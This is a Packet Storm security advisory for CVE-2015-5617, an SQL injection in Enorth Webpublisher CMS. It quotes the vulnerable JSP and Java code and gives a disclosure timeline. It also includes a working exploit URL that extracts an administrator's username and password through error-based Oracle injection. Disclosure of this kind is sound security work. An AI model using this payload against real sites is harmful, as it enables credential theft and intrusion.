exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Enorth Webpublisher CMS SQL Injection

Enorth Webpublisher CMS SQL Injection
Posted Aug 13, 2015
Authored by xin.wang

Enorth Webpublisher CMS suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2015-5617
SHA-256 | 18b99ead49cf2dd38ed9035af6ff6d5529b903c3e39212d677a5563dff7564af

Enorth Webpublisher CMS SQL Injection

Change Mirror Download
Title:
====
[CVE-2015-5617]Enorth Webpublisher CMS SQL Injection from delete_pending_news.jsp cbNewsid


Vendor:
======
http://products.enorth.com.cn/bfnrglxt/index.shtml
Enorth Webpublisher CMS so far of the scale of tens of thousands of web sites, with the government, enterprises, scientific research and education and media industries fields such as nearly thousands of business users.


Versions Affected:
==============
All versions


Author:
======
xin.wang(xin.wang(at)dbappsecurity.com.cn)


Vulnerability Description:
====================
/pub/m_pending_news/delete_pending_news.jsp
<%
String[] newsIdGroup;

newsIdGroup = request.getParameterValues("cbNewsId");
if (newsIdGroup == null || newsIdGroup.length == 0) {
throw new P3Exception("mbx_news_submit_empty_news_id");
} else {
penTran.deletePendingNews(newsIdGroup);
}
%>

/WEB-INF/classes/cn/com/enorth/pub3/m_news/PendingNewsBean.class

public void deletePendingNews(String[] newsIds) throws Exception {
Connection cn = null;
PreparedStatement pstm = null;
try {
StringBuffer buf = new StringBuffer();
buf.append("delete from tn_pending_news where news_id in (");
int i = 0; for (int len = newsIds.length; i < len; i++) {
buf.append(newsIds[i]).append(",");
}
buf.append("-1)");
cn = P3DBTools.getPubConnection();
pstm = cn.prepareStatement(buf.toString());
pstm.executeUpdate();//执行
cn.commit();
} catch (Exception ex) {
P3DBTools.rollback(cn);
throw ex;
} finally {
P3DBTools.freeConnection(cn);
}
}
}


Exploit:
======
http://website.com/pub/m_pending_news/delete_pending_news.jsp?cbNewsId=2222)%20and%201=ctxsys.drithsx.sn(1,(select%20USER_NAME||PASS_WORD%20from%20TN_USER%20WHERE%20USER_ID=1))—



Vulnerability Disclosure Timeline:

===========================
2015-07-28 Found The Vulnerability
2015-08-02 Submitted To The Vendor
2015-08-03 Fixed
2015-08-13 Public Disclosure
================================================================================================




Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close